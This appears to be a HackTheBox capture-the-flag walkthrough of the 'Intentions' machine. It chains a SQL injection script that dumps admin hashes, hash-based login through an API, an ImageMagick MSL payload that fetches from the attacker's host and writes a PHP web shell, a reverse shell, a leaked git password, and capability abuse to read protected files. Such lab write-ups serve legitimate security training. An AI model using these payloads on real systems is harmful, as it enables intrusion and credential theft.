index-logo

Intentions - HTB

walkthrough by elswix

Machine: Intentions
Difficulty: Hard
Platform: HackTheBox
Release: Released on 07/01/2023


About Intentions


Intentions is a hard-level machine from the HackTheBox platform. Initially, we discovered a SQL injection vulnerability that allowed us to obtain hashes of administrator users. We also came across valuable information about a purported version 2 of the API, which enabled us to use these hashes as credentials.


Shell as www-data


In the admin section, we encountered a function that applies effects to images provided by users. This technology utilizes PHP Imagick, through which we were able to execute commands by uploading a PHP web shell, exploiting a vulnerability.


Shell as greg


By listing the contents of the directory where the website is hosted, we discovered a .git directory, indicating that the entire website is part of a Git repository. Upon inspecting the existing commits, we found one that leaked credentials, granting us access as the user greg.


Shell as root


Finally, as the 'greg' user, we can execute a binary that will enable us to read system files without regard to our privileges, utilizing a clever exploitation and exploiting a capability. We've developed a Python script to automate a brute force process.


Recon


As always, we'll kick off with a port scan to uncover open ports. Keep in mind that these ports expose various services on the machine. For this task, we'll employ Nmap:

elswix@kali$ sudo nmap -p- --open -sS --min-rate 10000 -v -n -Pn 10.10.11.220 -oN portScan

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
At first glance, we observe that ports 80 and 22 are accessible. The subsequent step entails conducting a comprehensive scan to identify the technologies and services operating over these ports.

Once again, we'll employ Nmap to execute this scan:

elswix@kali$ nmap -sCV -p22,80 10.10.11.220 -oN fullScan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_  256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Based on the earlier findings, we can now ascertain that port 80 is associated with the HTTP service (Web Application Service), while port 22 corresponds to the SSH service.


Web Application


Before accessing the website through our web browser, we can use whatweb to attempt to uncover the technologies, versions, and other details of the website.

elswix@kali$ whatweb -a 3 10.10.11.220
http://10.10.11.220 [200 OK] Cookies[XSRF-TOKEN,intentions_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[intentions_session], IP[10.10.11.220], Script, Title[Intentions], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Nothing of interest here.

Accessing the website through our browser, we observe the following:



It seems to be an authentication panel; however, we don't have valid credentials.

Some common attacks that we can attempt here include SQL injection. Let's try some typical queries:



If we attempt to enter this information, we'll find that only a valid email address format is accepted.

Now, let's proceed to create a new user in the registration section:



At this point, we need to log in by providing the credentials we specified during the registration of our new user:



When valid credentials are supplied, the system will redirect us to the following page:



I recommend using the Dark Reader extension for Firefox (I believe it also works with other browsers). It converts websites into dark mode, which is easier on your eyes.

This website seems to function as a gallery where you can explore various genres of photos. Accessing the Gallery section, we find a wide array of themes. There are four distinct genres: Animals, Nature, Architecture, and Food.

In the Your Profile section, you can modify certain personal information associated with your user account, such as your nickname, email, and your Favorite Genres:



The values you set for Favorite Genres will determine the genres of images displayed in the Your Feed section.

All the requests we make are directed to an API. I observed this in the HTTP History of my Burp Suite:



This is an important aspect to bear in mind.

We have established that modifying the Favorite Genres information leads to corresponding changes in the Your Feed section. It's possible that this interaction involves a database operation behind the scenes.

At this juncture, I'll proceed to make all requests using Burp Suite. This allows me to receive more detailed responses and exercise greater control over my requests.

With the default information in the Favorite Genres section, I observe the following outcome when I initiate a request to the Your Feed section:




SQL Injection


What occurs if I add a single quote when altering the Favorite Genres information:



After updating this information, let's proceed to make a GET request to the Your Feed section:



It returns an error, indicating that we might be triggering a SQL injection. While experimenting with the most common queries, I observed that spaces in the Favorite Genres information are being stripped:





Eliminating white spaces can indeed pose a challenge for carrying out a successful SQL injection. However, there are several techniques available to circumvent the removal of white spaces.

One such technique is the space2comment method, which involves replacing white spaces with SQL comments. Allow me to illustrate this with an example. Suppose you wish to input the following SQL query:

' or 1=1--
Instead of the original query, when employing the space2comment technique, the query would appear as follows:

'/**/or/**/1=1--
Comments in SQL are disregarded during the query interpretation, enabling us to successfully bypass the removal of white spaces:



Now, if I send a GET request to the Your Feed section:



It's still not functioning as expected. Let's attempt some modifications to the query:



"I've appended a ) after the single quote and a # to comment out the remainder of the query.

Now, if I issue a request to the Your Feed section:



It retrieves all the photos from various genres, confirming that we have successfully exploited a SQL injection.

I'm going to create a Python script to automate this process

#!/usr/bin/python3 

import requests, sys, pdb, json 



# Global
loginUrl = "http://10.10.11.220/api/v1/auth/login"
injectUrl = "http://10.10.11.220/api/v1/gallery/user/genres"
readUrl = "http://10.10.11.220/api/v1/gallery/user/feed"


def makeReq(query):


    query = query.replace(" ", "/**/")


    login_data = {

        "email":"elswix@elswix.com",
        "password":"elswix123"   

    }


    injection_data = {

        "genres":f"'){query}#"

    }


    # Login
    session = requests.session() 
    resp = session.post(loginUrl, data=login_data) 

    # Injection
    resp = session.post(injectUrl, data=injection_data)
    resp = session.get(readUrl)

    if resp.status_code == 500:
        print("\n[!] 500 INTERNAL SERVER ERROR\n")
        return 


    output = json.loads(resp.text)
    output = json.dumps(output, indent=4)

    print(output)






def main():

    while True:
        query = input("SQLI > ")
        makeReq(query)







if __name__ == '__main__':

    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Quitting...\n")
        sys.exit(1)
Let's proceed to execute the script:

elswix@kali$ python3 exploit.py
SQLI > or 1=1
{
    "status": "success",
    "data": [
        {
            "id": 1,
            "file": "public/animals/ashlee-w-wv36v9TGNBw-unsplash.jpg",
            "genre": "animals",
            "created_at": "2023-02-02T17:41:52.000000Z",
            "updated_at": "2023-02-02T17:41:52.000000Z",
            "url": "/storage/animals/ashlee-w-wv36v9TGNBw-unsplash.jpg"
        },
        {
            "id": 2,
            "file": "public/animals/dickens-lin-Nr7QqJIP8Do-unsplash.jpg",
            "genre": "animals",
            "created_at": "2023-02-02T17:41:52.000000Z",
            "updated_at": "2023-02-02T17:41:52.000000Z",
            "url": "/storage/animals/dickens-lin-Nr7QqJIP8Do-unsplash.jpg"
        },
        {
            "id": 3,
            "file": "public/animals/dickens-lin-tycqN7-MY1s-unsplash.jpg",
            "genre": "animals",
            "created_at": "2023-02-02T17:41:52.000000Z",
            "updated_at": "2023-02-02T17:41:52.000000Z",
            "url": "/storage/animals/dickens-lin-tycqN7-MY1s-unsplash.jpg"
        },
        ..........
        ..........
        ..........
        {
            "id": 18,
            "file": "public/nature/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg",
            "genre": "nature",
            "created_at": "2023-02-02T17:41:52.000000Z",
            "updated_at": "2023-02-02T17:41:52.000000Z",
            "url": "/storage/nature/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg"
        },
        {
            "id": 19,
            "file": "public/nature/rafael-garcin-GsQ0iSb88HY-unsplash.jpg",
            "genre": "nature",
            "created_at": "2023-02-02T17:41:52.000000Z",
            "updated_at": "2023-02-02T17:41:52.000000Z",
            "url": "/storage/nature/rafael-garcin-GsQ0iSb88HY-unsplash.jpg"
        }
    ]
}
SQLI >
After attempting to determine the number of columns, I have ascertained that there are a total of five columns.

SQLI > UNION ALL SELECT NULL,NULL,NULL,NULL,NULL
{
    "status": "success",
    "data": [
        {
            "id": null,
            "file": null,
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/"
        }
    ]
}
SQLI >
Now, we'll initiate the process of database enumeration. Initially, we need to identify how many databases are present in the system:

SQLI > UNION ALL SELECT NULL,schema_name,NULL,NULL,NULL from information_schema.schemata
{
    "status": "success",
    "data": [
        {
            "id": null,
            "file": "information_schema",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/information_schema"
        },
        {
            "id": null,
            "file": "intentions",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/intentions"
        }
    ]
}
SQLI >
There are two databases in the system: one is named information_schema, and the other is intentions. We will proceed with the enumeration of the intentions database.

Next, we'll list the tables within the intentions database.

SQLI > UNION ALL SELECT NULL,table_name,NULL,NULL,NULL from information_schema.tables where table_schema="intentions"
{
    "status": "success",
    "data": [
        {
            "id": null,
            "file": "gallery_images",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/gallery_images"
        },
        {
            "id": null,
            "file": "personal_access_tokens",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/personal_access_tokens"
        },
        {
            "id": null,
            "file": "migrations",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/migrations"
        },
        {
            "id": null,
            "file": "users",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/users"
        }
    ]
}
SQLI >
Among all these tables, the one that piques my interest the most is users. Next, we will proceed to enumerate the columns within the users table:

SQLI > UNION ALL SELECT NULL,column_name,NULL,NULL,NULL from information_schema.columns where table_schema="intentions" and table_name="users"
{
    "status": "success",
    "data": [
        {
            "id": null,
            "file": "id",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/id"
        },
        {
            "id": null,
            "file": "name",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/name"
        },
        {
            "id": null,
            "file": "email",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/email"
        },
        {
            "id": null,
            "file": "password",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/password"
        },
        {
            "id": null,
            "file": "created_at",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/created_at"
        },
        {
            "id": null,
            "file": "updated_at",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/updated_at"
        },
        {
            "id": null,
            "file": "admin",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/admin"
        },
        {
            "id": null,
            "file": "genres",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/genres"
        }
    ]
}
SQLI >
There are numerous columns, and based on their names, it appears that I may be perusing the personal information of users. I'll retain email and password since having access to this information could potentially allow me to log in as another user.

I've also noted the presence of a column called Admin, which seems to be associated with a boolean value determining whether users have elevated privileges or not. I will proceed to investigate the values stored in the Admin column.:

SQLI > UNION ALL SELECT NULL,admin,NULL,NULL,NULL from users
{
    "status": "success",
    "data": [
        {
            "id": null,
            "file": "1",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/1"
        },
        {
            "id": null,
            "file": "1",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/1"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        },
        {
            "id": null,
            "file": "0",
            "genre": null,
            "created_at": null,
            "updated_at": null,
            "url": "/storage/0"
        }
    ]
}
SQLI >
The Admin column contains two integer values: 1 and 0. Accounts with the Admin property set to 1 are considered high-privilege accounts. Therefore, I will proceed to extract the email and password information from these Admin users.

SQLI > UNION ALL SELECT NULL,email,password,NULL,NULL from users where admin=1
{
    "status": "success",
    "data": [
        {
            "id": null,
            "file": "steve@intentions.htb",
            "genre": "$2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa",
            "created_at": null,
            "updated_at": null,
            "url": "/storage/steve@intentions.htb"
        },
        {
            "id": null,
            "file": "greg@intentions.htb",
            "genre": "$2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m",
            "created_at": null,
            "updated_at": null,
            "url": "/storage/greg@intentions.htb"
        }
    ]
}
SQLI >
There are two admin users. I've observed that the passwords are stored in an encrypted form, which means we can't retrieve the passwords in plaintext. One possible approach is to attempt to crack the hashes using tools such as JohnTheRipper or Hashcat. However, it's worth noting that the passwords don't appear to be present in the rockyou.txt wordlist.

Nonetheless, I've saved the hashes in a file for future reference.


API v2


Our next step involves launching a fuzzing attack to uncover new directories and files on the website. For this purpose, I'll be utilizing the ffuf tool to execute the attack.

elswix@kali$ ffuf -c --fc=404 -t 100 -w /opt/seclists/Discovery/Web-Content/raft-small-directories.txt -u http://10.10.11.220/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.220/FUZZ
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/Web-Content/raft-small-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 404
________________________________________________

[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 145ms]
    * FUZZ: js

[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 146ms]
    * FUZZ: css

[Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 437ms]
    * FUZZ: admin

[Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 563ms]
    * FUZZ: logout

[Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 293ms]
    * FUZZ: gallery

[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 152ms]
    * FUZZ: fonts

[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 152ms]
    * FUZZ: storage

[Status: 200, Size: 1523, Words: 415, Lines: 40, Duration: 706ms]
    * FUZZ: 

:: Progress: [20116/20116] :: Job [1/1] :: 103 req/sec :: Duration: [0:02:52] :: Errors: 0 ::
I've discovered a section labeled admin, but it appears inaccessible. To gain access, I'll need to log in as an administrator.

Now, I'm going to conduct a fuzzing operation on the js directory, as there's a possibility we may come across some intriguing JavaScript scripts.

elswix@kali$ ffuf -c --fc=404 -t 100 -w /opt/seclists/Discovery/Web-Content/raft-small-directories.txt -u http://10.10.11.220/js/FUZZ.js

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.220/js/FUZZ.js
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/Web-Content/raft-small-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 404
________________________________________________

[Status: 200, Size: 279176, Words: 5446, Lines: 2, Duration: 149ms]
    * FUZZ: login

[Status: 200, Size: 310841, Words: 6285, Lines: 2, Duration: 284ms]
    * FUZZ: gallery

[Status: 200, Size: 433792, Words: 7736, Lines: 2, Duration: 440ms]
    * FUZZ: app

[Status: 200, Size: 311246, Words: 6584, Lines: 2, Duration: 155ms]
    * FUZZ: admin

[Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 398ms]
    * FUZZ: 

[Status: 200, Size: 153684, Words: 2246, Lines: 2, Duration: 372ms]
    * FUZZ: mdb

:: Progress: [20116/20116] :: Job [1/1] :: 117 req/sec :: Duration: [0:02:38] :: Errors: 0 ::
Among these files, the most prominent one is admin.js. I will proceed to read its content:

elswix@kali$ curl -s http://10.10.11.220/js/admin.js
The file is quite extensive, but towards the end, I've come across some intriguing messages:

Hey team, I've deployed the v2 API to production and have started using it in the admin section.

Let me know if you spot any bugs. 

This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text! 

By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.

This should take care of the concerns raised by our users regarding our lack of HTTPS connection.
It mentions the existence of a version 2 for the API, and in this version, we can provide user hashes as credentials, eliminating the need to know the password in plaintext. Given that we've obtained the hashes previously, we can use them to authenticate ourselves as admin users.

Now, I'll proceed to intercept the login request:



As evident in the image below, the requests were made to API version 1.



First, I selected one of the admin users and provided their credentials. Subsequently, I attempted to use the hash as the password in the APIv1 login request:



However, it didn't work.



I'm going to attempt the login request on /api/v2/auth/login rather than /api/v1/auth/login:



It returns a distinct error, indicating that we need to specify a hash field in the POST request. Let's modify our request:



Now, let's resend the request:



The response has indeed changed, providing us with a success message. Furthermore, it has issued us a session cookie.

Next, I will replace my old session cookie with the new one we've acquired:



Now, we have successfully gained access to the admin section:



Here, we can observe some news. Upon closer inspection of the v2 API Update news, it becomes evident that they have introduced new functions related to the usage of PHP Imagick.



I've identified it as PHP Imagick because the hyperlink redirects me to its source code.

Moving on to the Users section, we can obtain a list of users in the database:



In the Images section, we have access to a list of images:



We've observed that there are two paths for the images. One starting with public represents the system-level path, while the other is a web-accessible path.

Now, let's try to edit these images:



It appears that we have the option to apply effects to these images. Let's experiment with the CHARCOAL effect:



When examining the requests made while applying an effect, it becomes evident that these requests are directed to the API.



The data transmitted via the POST method is as follows:



We're specifying the image path and the effect in the POST request. One potential experiment is to attempt to point to a system file such as /etc/passwd.



But it returns an error:



Instead of specifying a system file, I will use a URL to an HTTP server hosted on my machine:



elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.220 - - [14/Oct/2023 09:57:46] "GET / HTTP/1.1" 200 -
It works as expected and initiates an HTTP request to my HTTP server. However, at this point, we are somewhat limited in terms of what we can do with this functionality.


Shell as www-data


Every file we specify seems to trigger an effect, and knowing that they're using phpimagick, it's worth exploring potential vulnerabilities associated with this tool.

Following some research online, I came across an article on HackTricks discussing a potential method for achieving Remote Code Execution (RCE) by exploiting PHP Arbitrary Object Instantiations.

We can attempt to abuse this vulnerability by leveraging the Vid Parser, which allows us to write arbitrary content to an arbitrary path within the filesystem. This could be used to write a PHP webshell and potentially gain RCE.

For a more in-depth exploration of this exploitation, I recommend reading the article on PT Security.

To begin, we need to create an image containing a PHP web shell, as MSL only accepts images.

elswix@kali$ convert xc:red -set 'Copyright' '<?php echo shell_exec($_REQUEST["cmd"]); ?>' positive.png
elswixqkali$
Next, we will generate an MSL file that will facilitate the transfer of this image from our HTTP server to a web directory where we can make the necessary changes.

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://10.10.16.6/pwned.png" />
<write filename="/var/www/intentions/public/pwned.php" />
</image>
First, I need to have an HTTP server actively listening on port 80:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Let's proceed with the request, taking advantage of VID Parser and MSL:



We should receive the following response:



Great, we can now access our web shell at /pwned.php.:



Finally, we've successfully achieved Remote Code Execution (RCE):



Now, we're going to initiate a reverse shell, so make sure you have nc (netcat) listening:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Next, we'll send the reverse shell with URL encoding for the & character:



Finally, we have successfully gained access to the system:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.220:50784.
bash: cannot set terminal process group (1070): Inappropriate ioctl for device
bash: no job control in this shell
@www-data@intentions:~/html/intentions/public$
We have successfully accessed the system, now we will simply adjust the TTY to interact more comfortably with the system:

www-data@intentions:~/html/intentions/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@intentions:~/html/intentions/public$ ^Z
zsh: suspended  nc -lvnp 3001

elswix@kali$ stty raw -echo;fg
[1]  + continued  nc -lvnp 3001
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@intentions:~/html/intentions/public$ export TERM=xterm
www-data@intentions:~/html/intentions/public$ export SHELL=/bin/bash
www-data@intentions:~/html/intentions/public$


Shell as greg


While exploring the web directories, I discovered the presence of a .git file, indicating that the web application is a Git repository:

www-data@intentions:~/html/intentions$  ls -la
total 820
drwxr-xr-x  14 root     root       4096 Feb  2  2023 .
drwxr-xr-x   3 root     root       4096 Feb  2  2023 ..
-rw-r--r--   1 root     root       1068 Feb  2  2023 .env
drwxr-xr-x   8 root     root       4096 Feb  3  2023 .git
-rw-r--r--   1 root     root       3958 Apr 12  2022 README.md
drwxr-xr-x   7 root     root       4096 Apr 12  2022 app
-rwxr-xr-x   1 root     root       1686 Apr 12  2022 artisan
drwxr-xr-x   3 root     root       4096 Apr 12  2022 bootstrap
-rw-r--r--   1 root     root       1815 Jan 29  2023 composer.json
-rw-r--r--   1 root     root     300400 Jan 29  2023 composer.lock
drwxr-xr-x   2 root     root       4096 Jan 29  2023 config
drwxr-xr-x   5 root     root       4096 Apr 12  2022 database
-rw-r--r--   1 root     root       1629 Jan 29  2023 docker-compose.yml
drwxr-xr-x 534 root     root      20480 Jan 30  2023 node_modules
-rw-r--r--   1 root     root     420902 Jan 30  2023 package-lock.json
-rw-r--r--   1 root     root        891 Jan 30  2023 package.json
-rw-r--r--   1 root     root       1139 Jan 29  2023 phpunit.xml
drwxr-xr-x   5 www-data www-data   4096 Oct 14 14:10 public
drwxr-xr-x   7 root     root       4096 Jan 29  2023 resources
drwxr-xr-x   2 root     root       4096 Jun 19 11:22 routes
-rw-r--r--   1 root     root        569 Apr 12  2022 server.php
drwxr-xr-x   5 www-data www-data   4096 Apr 12  2022 storage
drwxr-xr-x   4 root     root       4096 Apr 12  2022 tests
drwxr-xr-x  45 root     root       4096 Jan 29  2023 vendor
-rw-r--r--   1 root     root        722 Feb  2  2023 webpack.mix.js
www-data@intentions:~/html/intentions$
I've downloaded the Git repository to my local machine, and now I'll proceed to inspect the commits:

elswix@kali$ git log
commit 1f29dfde45c21be67bb2452b46d091888ed049c3 (HEAD -> master)
Author: steve <steve@intentions.htb>
Date:   Mon Jan 30 15:29:12 2023 +0100

    Fix webpack for production

commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date:   Thu Jan 26 09:21:52 2023 +0100

    Test cases did not work on steve's local database, switching to user factory per his advice

commit 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
Author: greg <greg@intentions.htb>
Date:   Wed Jan 25 20:45:12 2023 +0100

    Adding test cases for the API!

commit d7ef022d3bc4e6d02b127fd7dcc29c78047f31bd
Author: steve <steve@intentions.htb>
Date:   Fri Jan 20 14:19:32 2023 +0100

    Initial v2 commit
Upon careful inspection of each commit, I stumbled upon some credentials within one of them:

elswix@kali$ git show f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date:   Thu Jan 26 09:21:52 2023 +0100

    Test cases did not work on steve's local database, switching to user factory per his advice

diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php
index f57e37b..0586d51 100644
--- a/tests/Feature/Helper.php
+++ b/tests/Feature/Helper.php
@@ -8,12 +8,14 @@ class Helper extends TestCase
 {
     public static function getToken($test, $admin = false) {
         if($admin) {
-            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
-            return $res->headers->get('Authorization');
+            $user = User::factory()->admin()->create();
         } 
         else {
-            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg_user@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
-            return $res->headers->get('Authorization');
+            $user = User::factory()->create();
         }
+        
+        $token = Auth::login($user);
I've uncovered the password Gr3g1sTh3B3stDev3l0per!1998! and I'm going to attempt to use it to access the system as the greg user

www-data@intentions:/tmp$ su greg
Password: 
$ whoami
greg
$ bash
greg@intentions:/tmp$
It worked, and now we are greg.


Shell as root


Upon examining our group memberships, it becomes apparent that we are a part of the scanner group:

greg@intentions:/tmp$ id
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)
greg@intentions:/tmp$
While searching for files owned by the scanner group, we have come across the following:

greg@intentions:/tmp$ find / -group scanner 2>/dev/null
/opt/scanner
/opt/scanner/scanner
greg@intentions:/tmp$
When running the script, it displays a help panel:

greg@intentions:/tmp$ /opt/scanner/scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.

    This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
    This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
    File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.

    The hash blacklist file should be maintained as a single LABEL:MD5 per line.
    Please avoid using extra colons in the label as that is not currently supported.

    Expected output:
    1. Empty if no matches found
    2. A line for every match, example:
        [+] {LABEL} matches {FILE}

  -c string
        Path to image file to check. Cannot be combined with -d
  -d string
        Path to image directory to check. Cannot be combined with -c
  -h string
        Path to colon separated hash file. Not compatible with -p
  -l int
        Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
  -p  [Debug] Print calculated file hash. Only compatible with -c
  -s string
        Specific hash to check against. Not compatible with -h
greg@intentions:/tmp$
While listing the capabilities, we observe that the binary /opt/scanner/scanner has the capability to read files from the system regardless of the user's privileges who runs it.

greg@intentions:/tmp$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/opt/scanner/scanner cap_dac_read_search=ep
greg@intentions:/tmp$
Following certain tests, we can highlight the following about the scanner binary. Firstly, it has the ability to read files irrespective of the user's access privileges. Additionally, by specifying boundaries, we can read characters from specific files in MD5 format.

For instance, let's consider the file /etc/passwd. The first character of this file is r (for root). If we attempt to list the first character of the /etc/passwd file in MD5 format using scanner, it would look something like this:

greg@intentions:/tmp$ /opt/scanner/scanner -l 1 -s elswix -c /etc/passwd -p 
[DEBUG] /etc/passwd has hash 4b43b0aee35624cd95b910189b3dc231
greg@intentions:/tmp$
Now, let's verify if it has indeed converted the first character of the /etc/passwd file into MD5 format (remember, it should be r):

elswix@kali$ echo -n 'r' | md5sum
4b43b0aee35624cd95b910189b3dc231  -
Both hashes match, indicating that it's functioning correctly.

Let's provide a brief explanation of what we did when running the binary:

  • -l 1: We specified the maximum number of characters to be hashed in MD5 format from the file we designate. In our case, we instructed it to hash just one character.

